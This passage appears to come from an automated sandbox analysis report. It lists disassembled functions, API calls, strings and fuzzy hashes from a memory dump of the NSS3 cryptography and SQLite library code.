Opcode Fuzzy Hash: 365fcda76af443f6b0c253f52b5d3fea930504a97073700d5e1034c27c6048a5
Instruction Fuzzy Hash: 2AA1E9716092019FC720CF29C580AABB7F5EFC9318F15892EF8898BB51E730E855CB95

Function 6C7AEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C7AEE0B

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7AEEE1

Part of subcall function 6C7A1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C7A1D7E
Part of subcall function 6C7A1D50: EnterCriticalSection.KERNEL32(?), ref: 6C7A1D8E
Part of subcall function 6C7A1D50: PR_Unlock.NSS3(?), ref: 6C7A1DD3

TlsGetValue.KERNEL32 ref: 6C7AEE51
EnterCriticalSection.KERNEL32(?), ref: 6C7AEE65
PR_Unlock.NSS3(?), ref: 6C7AEEA2
free.MOZGLUE(?), ref: 6C7AEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C7AEED0
PR_Unlock.NSS3(?), ref: 6C7AEF48
free.MOZGLUE(?), ref: 6C7AEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C7AEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C7AEFA4
free.MOZGLUE(?), ref: 6C7AEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C7AF055
free.MOZGLUE(?), ref: 6C7AF060

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: faf8e10930b0c3ab8c288b57f7b451c460f0f9378e5a7c06f6e2c05a3a1776ed
Instruction ID: 1f7509c613d59c66969a955f1498b345d17e03ca093de07da4cd7c367da06aa8
Opcode Fuzzy Hash: faf8e10930b0c3ab8c288b57f7b451c460f0f9378e5a7c06f6e2c05a3a1776ed
Instruction Fuzzy Hash: FD8161B1A00209ABEF10DFA5DD85ADE7BB9BF08318F540134E919A3611E731E965CBE1

Function 6C774CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C774D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C774D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C774DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C774E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C774E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C774E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C774E85
DER_Encode_Util.NSS3(?,?,6C8C05A4,00000000), ref: 6C774EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C774F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C774F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C774F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C774F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C774F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C774FC8

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 3bc890a0a472532152790e4f4d545ac79d070a53003513f44a7807f49503bffa
Instruction ID: 4b5631b080219ef07f1f2ebf3647c95a6f92afbcd6d2235f3ff7dd46c17d8615
Opcode Fuzzy Hash: 3bc890a0a472532152790e4f4d545ac79d070a53003513f44a7807f49503bffa
Instruction Fuzzy Hash: 5281B3716043059FEB21CF28DE44B5AB7E8AB85358F14892DF958DB641E770DA04CFA2

Function 6C7B5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C7B5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C7B5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C7B5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C7B5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C7B5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7B5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C7B5E18
TlsGetValue.KERNEL32 ref: 6C7B5E5E
EnterCriticalSection.KERNEL32(?), ref: 6C7B5E72
PR_Unlock.NSS3(?), ref: 6C7B5E8B

Part of subcall function 6C7AF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C7AF854
Part of subcall function 6C7AF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C7AF868
Part of subcall function 6C7AF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C7AF882
Part of subcall function 6C7AF820: free.MOZGLUE(04C483FF,?,?), ref: 6C7AF889
Part of subcall function 6C7AF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C7AF8A4
Part of subcall function 6C7AF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C7AF8AB
Part of subcall function 6C7AF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C7AF8C9
Part of subcall function 6C7AF820: free.MOZGLUE(280F10EC,?,?), ref: 6C7AF8D0

Strings

d, xrefs: 6C7B5C36
tokens=[0x%x=<%s>], xrefs: 6C7B5D3D

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: b50fe7ded660268a735574dc253e4ae03e1bdb4873830e63295526dbc09cedb2
Instruction ID: d9d8c91e563acf33f575113ce3162c4b397d510fa9b662ac598090d38a0014bc
Opcode Fuzzy Hash: b50fe7ded660268a735574dc253e4ae03e1bdb4873830e63295526dbc09cedb2
Instruction Fuzzy Hash: 9B71F5F0A041059BEB519F25EE8976A3379BF4031CF184139E809BAB42EB36E915C7D2

Function 6C7A6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C7A781D,00000000,6C79BE2C,?,6C7A6B1D,?,?,?,?,00000000,00000000,6C7A781D), ref: 6C7A6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C7A781D,?,6C79BE2C,?), ref: 6C7A6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C7A781D), ref: 6C7A6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C7A6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C7A6C96

Part of subcall function 6C751240: TlsGetValue.KERNEL32(00000040,?,6C75116C,NSPR_LOG_MODULES), ref: 6C751267
Part of subcall function 6C751240: EnterCriticalSection.KERNEL32(?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C75127C
Part of subcall function 6C751240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C751291
Part of subcall function 6C751240: PR_Unlock.NSS3(?,?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C7512A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C7A6CAA

Strings

extern:, xrefs: 6C7A6C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6C7A6C91
dbm:, xrefs: 6C7A6C3A
dbm, xrefs: 6C7A6CA4
rdb:, xrefs: 6C7A6C69
sql:, xrefs: 6C7A6C52

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 07536b10f78ec84f50c6879f785e40d61483cfeee4b5ada5d122dd235aff8f96
Instruction ID: 1a3a26ba558f0b9cb3058cab2ab35a8f824b4286848395b388f074916ed27f27
Opcode Fuzzy Hash: 07536b10f78ec84f50c6879f785e40d61483cfeee4b5ada5d122dd235aff8f96
Instruction Fuzzy Hash: A401F7E170270177F66027FD5F89F16365C9F8214DF140931FE04E4A42EA92F61690A9

Function 6C7B4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C7778F8), ref: 6C7B4E6D

Part of subcall function 6C7509E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C7506A2,00000000,?), ref: 6C7509F8
Part of subcall function 6C7509E0: malloc.MOZGLUE(0000001F), ref: 6C750A18
Part of subcall function 6C7509E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C750A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C7778F8), ref: 6C7B4ED9

Part of subcall function 6C7A5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C7A7703,?,00000000,00000000), ref: 6C7A5942
Part of subcall function 6C7A5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C7A7703), ref: 6C7A5954
Part of subcall function 6C7A5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7A596A
Part of subcall function 6C7A5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7A5984
Part of subcall function 6C7A5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C7A5999
Part of subcall function 6C7A5920: free.MOZGLUE(00000000), ref: 6C7A59BA
Part of subcall function 6C7A5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C7A59D3
Part of subcall function 6C7A5920: free.MOZGLUE(00000000), ref: 6C7A59F5
Part of subcall function 6C7A5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C7A5A0A
Part of subcall function 6C7A5920: free.MOZGLUE(00000000), ref: 6C7A5A2E
Part of subcall function 6C7A5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C7A5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4EB3

Part of subcall function 6C7B4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7B4EB8,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B484C
Part of subcall function 6C7B4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7B4EB8,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B486D
Part of subcall function 6C7B4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C7B4EB8,?), ref: 6C7B4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4EC0

Part of subcall function 6C7B4470: TlsGetValue.KERNEL32(00000000,?,6C777296,00000000), ref: 6C7B4487
Part of subcall function 6C7B4470: EnterCriticalSection.KERNEL32(?,?,?,6C777296,00000000), ref: 6C7B44A0
Part of subcall function 6C7B4470: PR_Unlock.NSS3(?,?,?,?,6C777296,00000000), ref: 6C7B44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C88DCB0,00000000), ref: 6C7B4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C7B501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C7778F8), ref: 6C7B506B

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: ec35f09e7780866e498bce1c8aa9c98fda405878c199be1ac2fa133d7a015c87
Instruction ID: 16d53099b29f1cfc386e12f79562598fbcda65997c392635f57832259f270193
Opcode Fuzzy Hash: ec35f09e7780866e498bce1c8aa9c98fda405878c199be1ac2fa133d7a015c87
Instruction Fuzzy Hash: AC51E5B1A002019FDB119F34EE09AAB77B4FF0531CF184635EC06A6A52FB31D525DAD2

Function 6C75ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C75ACE2
malloc.MOZGLUE(00000001), ref: 6C75ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C75AD02
TlsGetValue.KERNEL32 ref: 6C75AD3C
calloc.MOZGLUE(00000001,?), ref: 6C75AD8C
PR_Unlock.NSS3 ref: 6C75ADC0
free.MOZGLUE(00000000), ref: 6C75AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C75AE58
free.MOZGLUE(00000000), ref: 6C75AE69
free.MOZGLUE(?), ref: 6C75AE78
PR_Unlock.NSS3 ref: 6C75AE8C
free.MOZGLUE(?), ref: 6C75AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C75AEC7

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: e7b9549935a057b34f63dfa946be76a460578d10144e500fb849da0856356900
Instruction ID: 45cbcfe4195492cd58bc4bde71639252f5676cdfc0d4c860250047ca5e49439e
Opcode Fuzzy Hash: e7b9549935a057b34f63dfa946be76a460578d10144e500fb849da0856356900
Instruction Fuzzy Hash: E95194B0A002159BDF20EF58DE86ABE7778BB0635DF540135D804A7B01EB31AA24CBE5

Function 6C834C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C834CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C834CFD
sqlite3_value_text16.NSS3(?), ref: 6C834D44

Strings

another row available, xrefs: 6C834D20
invalid, xrefs: 6C834CF1
no more rows available, xrefs: 6C834D2E
bad parameter or other API misuse, xrefs: 6C834D05
unknown error, xrefs: 6C834D56
abort due to ROLLBACK, xrefs: 6C834D27, 6C834D33
out of memory, xrefs: 6C834C78, 6C834C9E
API call with %s database connection pointer, xrefs: 6C834CF6

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: c72803f77f1bf2134652bd99c082a97c6fcc8ed51e7ecdf43c6735b5ef8e64e0
Instruction ID: 9f7f371f730340923de381973de7492730c2619745160427623d4b22571d2251
Opcode Fuzzy Hash: c72803f77f1bf2134652bd99c082a97c6fcc8ed51e7ecdf43c6735b5ef8e64e0
Instruction Fuzzy Hash: 23315673A0483497E73546A8AB047A47F2177C2319F563D25C81C4BE55DB33A857C3E2

Function 6C832D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C832D9F

Part of subcall function 6C6ECA30: EnterCriticalSection.KERNEL32(?,?,?,6C74F9C9,?,6C74F4DA,6C74F9C9,?,?,6C71369A), ref: 6C6ECA7A
Part of subcall function 6C6ECA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6ECB26

sqlite3_exec.NSS3(?,?,6C832F70,?,?), ref: 6C832DF9
sqlite3_free.NSS3(00000000), ref: 6C832E2C
sqlite3_free.NSS3(?), ref: 6C832E3A
sqlite3_free.NSS3(?), ref: 6C832E52
sqlite3_mprintf.NSS3(6C89AAF9,?), ref: 6C832E62
sqlite3_free.NSS3(?), ref: 6C832E70
sqlite3_free.NSS3(?), ref: 6C832E89
sqlite3_free.NSS3(?), ref: 6C832EBB
sqlite3_free.NSS3(?), ref: 6C832ECB
sqlite3_free.NSS3(00000000), ref: 6C832F3E
sqlite3_free.NSS3(?), ref: 6C832F4C

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 89302f72c62ce45e7e1257f0c95a2e3f5f9ae1d7777c9a74025ba3adf4f44ac0
Instruction ID: 5d34273cbc248b466f5e10c69c148af27b57251edc9a7467e06a94e6272ef07c
Opcode Fuzzy Hash: 89302f72c62ce45e7e1257f0c95a2e3f5f9ae1d7777c9a74025ba3adf4f44ac0
Instruction Fuzzy Hash: 6861D6B1E052298BDB21CFA8D9857DE77B1EF49348F102424DD09A7742E739E845CBE4

Function 6C777C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8C2120,Function_00097E60,00000000,?,?,?,?,6C7F067D,6C7F1C60,00000000), ref: 6C777C81

Part of subcall function 6C6E4C70: TlsGetValue.KERNEL32(?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4C97
Part of subcall function 6C6E4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CB0
Part of subcall function 6C6E4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CC9

TlsGetValue.KERNEL32 ref: 6C777CA0
EnterCriticalSection.KERNEL32(?), ref: 6C777CB4
PR_Unlock.NSS3 ref: 6C777CCF

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

TlsGetValue.KERNEL32 ref: 6C777D04
EnterCriticalSection.KERNEL32(?), ref: 6C777D1B
realloc.MOZGLUE(-00000050), ref: 6C777D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C777DF4
PR_Unlock.NSS3 ref: 6C777E0E

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 0915ff771b2e1b163deffb33ab5db9f09e3b215c31eb9f962cdff82da82c72e9
Instruction ID: 1d1302809cdfe75b9b3c83ee27d58b064520c69184eddd790d2fb2c353370bab
Opcode Fuzzy Hash: 0915ff771b2e1b163deffb33ab5db9f09e3b215c31eb9f962cdff82da82c72e9
Instruction Fuzzy Hash: B051F371A042049FDF329F28CE49A6577B5EB0631CF16553ADD04877A2EB70E960CAE1

Function 6C6E4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4D97
PR_Lock.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4DBA
PR_WaitCondVar.NSS3 ref: 6C6E4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4DE6
